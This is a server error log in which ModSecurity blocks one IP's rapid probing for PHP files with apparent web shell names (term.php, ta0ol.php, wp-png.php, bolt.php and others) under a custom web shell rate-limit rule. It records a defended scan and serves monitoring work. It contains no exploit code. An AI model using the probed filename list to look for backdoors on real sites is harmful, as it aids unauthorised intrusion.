[Sat Apr 11 04:01:07.435550 2026] [:error] [pid 2721:tid 2731] [client 135.116.194.58:54433] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "adlXAzZWWL4OaRcuwkjImAAAAAU"]
[Sat Apr 11 04:01:07.964327 2026] [:error] [pid 2723:tid 2786] [client 135.116.194.58:4993] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "adlXA4Ny3DfGNAwLjcOzHAAAAIY"]
[Sat Apr 11 04:01:08.491393 2026] [:error] [pid 2723:tid 2783] [client 135.116.194.58:54402] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "adlXBINy3DfGNAwLjcOzIAAAAIM"]
[Sat Apr 11 04:01:09.031785 2026] [:error] [pid 2723:tid 2795] [client 135.116.194.58:4984] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "adlXBYNy3DfGNAwLjcOzJQAAAI8"]
[Sat Apr 11 04:01:09.558790 2026] [:error] [pid 2723:tid 2782] [client 135.116.194.58:4929] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "adlXBYNy3DfGNAwLjcOzKQAAAII"]
[Sat Apr 11 04:01:12.146498 2026] [:error] [pid 2723:tid 2785] [client 135.116.194.58:4994] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "adlXCINy3DfGNAwLjcOzSgAAAIU"]
[Sat Apr 11 04:01:12.707901 2026] [:error] [pid 2722:tid 2759] [client 135.116.194.58:54406] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "adlXCI_R23QDTmaQHyGCRQAAAEY"]
[Sat Apr 11 04:01:13.272761 2026] [:error] [pid 2722:tid 2764] [client 135.116.194.58:5116] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adlXCY_R23QDTmaQHyGCRwAAAEs"]
[Sat Apr 11 04:01:13.820868 2026] [:error] [pid 2721:tid 2743] [client 135.116.194.58:5027] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adlXCTZWWL4OaRcuwkjIoAAAABE"]
[Sat Apr 11 04:01:14.351170 2026] [:error] [pid 2812:tid 2821] [client 135.116.194.58:5054] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adlXCtmkbBYp4LlMowsEuAAAAMY"]
[Sat Apr 11 04:01:14.879093 2026] [:error] [pid 2721:tid 2736] [client 135.116.194.58:5096] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adlXCjZWWL4OaRcuwkjIpQAAAAo"]
[Sat Apr 11 04:01:15.458459 2026] [:error] [pid 2721:tid 2727] [client 135.116.194.58:4999] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "adlXCzZWWL4OaRcuwkjIqAAAAAE"]
[Sat Apr 11 04:01:16.107463 2026] [:error] [pid 2812:tid 2816] [client 135.116.194.58:5059] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "adlXDNmkbBYp4LlMowsEvwAAAME"]
[Sat Apr 11 04:01:16.720992 2026] [:error] [pid 2812:tid 2815] [client 135.116.194.58:54397] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "adlXDNmkbBYp4LlMowsExQAAAMA"]
[Sat Apr 11 04:01:17.245152 2026] [:error] [pid 2722:tid 2762] [client 135.116.194.58:5022] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "adlXDY_R23QDTmaQHyGCWwAAAEk"]
[Sat Apr 11 04:01:18.357011 2026] [:error] [pid 2812:tid 2823] [client 135.116.194.58:5010] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "adlXDtmkbBYp4LlMowsEzwAAAMg"]
[Sat Apr 11 04:01:19.492206 2026] [:error] [pid 2812:tid 2819] [client 135.116.194.58:5063] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "adlXD9mkbBYp4LlMowsE0wAAAMQ"]
[Sat Apr 11 04:01:20.016474 2026] [:error] [pid 2723:tid 2804] [client 135.116.194.58:4940] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "adlXEINy3DfGNAwLjcOzVwAAAJg"]
[Sat Apr 11 04:01:20.548053 2026] [:error] [pid 2812:tid 2828] [client 135.116.194.58:54436] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "adlXENmkbBYp4LlMowsE2QAAAM0"]
[Sat Apr 11 04:01:22.103176 2026] [:error] [pid 2721:tid 2728] [client 135.116.194.58:5095] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "adlXEjZWWL4OaRcuwkjIsgAAAAI"]
[Sat Apr 11 04:01:22.635490 2026] [:error] [pid 2723:tid 2785] [client 135.116.194.58:5106] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "adlXEoNy3DfGNAwLjcOzXwAAAIU"]
[Sat Apr 11 04:01:23.155928 2026] [:error] [pid 2812:tid 2835] [client 135.116.194.58:5104] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "adlXE9mkbBYp4LlMowsE5QAAANQ"]
[Sat Apr 11 04:01:23.716198 2026] [:error] [pid 2722:tid 2759] [client 135.116.194.58:54368] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "adlXE4_R23QDTmaQHyGCeAAAAEY"]
[Sat Apr 11 04:01:24.244752 2026] [:error] [pid 2723:tid 2792] [client 135.116.194.58:5015] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "adlXFINy3DfGNAwLjcOzZAAAAIw"]
[Sat Apr 11 04:01:24.772092 2026] [:error] [pid 2723:tid 2786] [client 135.116.194.58:5032] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "adlXFINy3DfGNAwLjcOzawAAAIY"]
[Sat Apr 11 04:01:25.308806 2026] [:error] [pid 2722:tid 2757] [client 135.116.194.58:5025] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "adlXFY_R23QDTmaQHyGCfQAAAEQ"]
[Sat Apr 11 04:01:25.829022 2026] [:error] [pid 2812:tid 2825] [client 135.116.194.58:4973] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "adlXFdmkbBYp4LlMowsE6gAAAMo"]
[Sat Apr 11 04:01:26.405063 2026] [:error] [pid 2812:tid 2820] [client 135.116.194.58:5073] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "adlXFtmkbBYp4LlMowsE7wAAAMU"]
[Sat Apr 11 04:01:26.950666 2026] [:error] [pid 2812:tid 2826] [client 135.116.194.58:54377] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "adlXFtmkbBYp4LlMowsE8wAAAMs"]
[Sat Apr 11 04:01:29.723988 2026] [:error] [pid 2722:tid 2765] [client 135.116.194.58:54373] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "adlXGY_R23QDTmaQHyGCiQAAAEw"]
[Sat Apr 11 04:01:30.261081 2026] [:error] [pid 2722:tid 2772] [client 135.116.194.58:5031] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "adlXGo_R23QDTmaQHyGCjQAAAFM"]
[Sat Apr 11 04:01:30.820107 2026] [:error] [pid 2721:tid 2736] [client 135.116.194.58:54412] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "adlXGjZWWL4OaRcuwkjIuQAAAAo"]
[Sat Apr 11 04:01:31.343574 2026] [:error] [pid 2721:tid 2737] [client 135.116.194.58:54348] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "adlXGzZWWL4OaRcuwkjIvgAAAAs"]
[Sat Apr 11 04:01:31.866003 2026] [:error] [pid 2722:tid 2775] [client 135.116.194.58:5079] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "adlXG4_R23QDTmaQHyGCkgAAAFY"]
[Sat Apr 11 04:01:32.396935 2026] [:error] [pid 2721:tid 2744] [client 135.116.194.58:54420] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "adlXHDZWWL4OaRcuwkjIyAAAABI"]
[Sat Apr 11 04:01:33.017558 2026] [:error] [pid 2812:tid 2836] [client 135.116.194.58:5002] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "adlXHdmkbBYp4LlMowsFEAAAANU"]
[Sat Apr 11 04:01:33.543280 2026] [:error] [pid 2723:tid 2799] [client 135.116.194.58:54454] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "adlXHYNy3DfGNAwLjcOzjwAAAJM"]
[Sat Apr 11 04:01:34.112108 2026] [:error] [pid 2722:tid 2760] [client 135.116.194.58:5098] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "adlXHo_R23QDTmaQHyGCowAAAEc"]
[Sat Apr 11 04:01:34.652336 2026] [:error] [pid 2812:tid 2835] [client 135.116.194.58:5003] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "adlXHtmkbBYp4LlMowsFFAAAANQ"]
[Sat Apr 11 04:01:36.194059 2026] [:error] [pid 2812:tid 2823] [client 135.116.194.58:5072] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "adlXINmkbBYp4LlMowsFGgAAAMg"]
[Sat Apr 11 04:01:36.713004 2026] [:error] [pid 2812:tid 2831] [client 135.116.194.58:54416] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "adlXINmkbBYp4LlMowsFHAAAANA"]
[Sat Apr 11 04:01:37.248513 2026] [:error] [pid 2723:tid 2795] [client 135.116.194.58:5082] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "adlXIYNy3DfGNAwLjcOzpQAAAI8"]
[Sat Apr 11 04:01:37.885050 2026] [:error] [pid 2721:tid 2732] [client 135.116.194.58:4908] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "adlXITZWWL4OaRcuwkjI3gAAAAY"]
[Sat Apr 11 04:01:39.212653 2026] [:error] [pid 2723:tid 2783] [client 135.116.194.58:5053] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "adlXI4Ny3DfGNAwLjcOzqQAAAIM"]
[Sat Apr 11 04:01:40.377631 2026] [:error] [pid 2721:tid 2731] [client 135.116.194.58:5056] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "adlXJDZWWL4OaRcuwkjI6wAAAAU"]
[Sat Apr 11 04:01:41.000822 2026] [:error] [pid 2723:tid 2786] [client 135.116.194.58:5052] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "adlXJINy3DfGNAwLjcOzqgAAAIY"]
[Sat Apr 11 04:01:41.561990 2026] [:error] [pid 2812:tid 2829] [client 135.116.194.58:5011] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "adlXJdmkbBYp4LlMowsFMAAAAM4"]
[Sat Apr 11 04:01:42.327835 2026] [:error] [pid 2723:tid 2793] [client 135.116.194.58:4942] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adlXJoNy3DfGNAwLjcOzrgAAAI0"]
[Sat Apr 11 04:01:42.986765 2026] [:error] [pid 2723:tid 2782] [client 135.116.194.58:5023] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adlXJoNy3DfGNAwLjcOzsAAAAII"]
[Sat Apr 11 04:01:43.589480 2026] [:error] [pid 2721:tid 2742] [client 135.116.194.58:5006] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adlXJzZWWL4OaRcuwkjI-gAAABA"]
[Sat Apr 11 04:01:44.110821 2026] [:error] [pid 2723:tid 2785] [client 135.116.194.58:5019] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adlXKINy3DfGNAwLjcOztAAAAIU"]
[Sat Apr 11 04:01:51.664248 2026] [:error] [pid 2723:tid 2795] [client 135.116.194.58:5099] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "adlXL4Ny3DfGNAwLjcOzxgAAAI8"]
[Sat Apr 11 04:01:52.198058 2026] [proxy_fcgi:error] [pid 2812:tid 2831] [client 135.116.194.58:5117] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:01:52.459270 2026] [proxy_fcgi:error] [pid 2812:tid 2833] [client 135.116.194.58:5117] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:01:53.319641 2026] [proxy_fcgi:error] [pid 2812:tid 2828] [client 135.116.194.58:5117] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:01:53.580420 2026] [proxy_fcgi:error] [pid 2812:tid 2819] [client 135.116.194.58:5117] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:01:53.851661 2026] [proxy_fcgi:error] [pid 2812:tid 2815] [client 135.116.194.58:5117] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:01:54.112806 2026] [proxy_fcgi:error] [pid 2812:tid 2827] [client 135.116.194.58:5117] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:01:54.375069 2026] [proxy_fcgi:error] [pid 2812:tid 2822] [client 135.116.194.58:5117] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:01:54.636481 2026] [proxy_fcgi:error] [pid 2812:tid 2832] [client 135.116.194.58:5117] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:01:54.942133 2026] [proxy_fcgi:error] [pid 2812:tid 2826] [client 135.116.194.58:5117] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:01:55.205760 2026] [proxy_fcgi:error] [pid 2812:tid 2836] [client 135.116.194.58:5117] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:01:55.479500 2026] [proxy_fcgi:error] [pid 2812:tid 2837] [client 135.116.194.58:5117] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:01:55.741444 2026] [:error] [pid 2812:tid 2831] [client 135.116.194.58:5117] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "adlXM9mkbBYp4LlMowsFiQAAANA"]
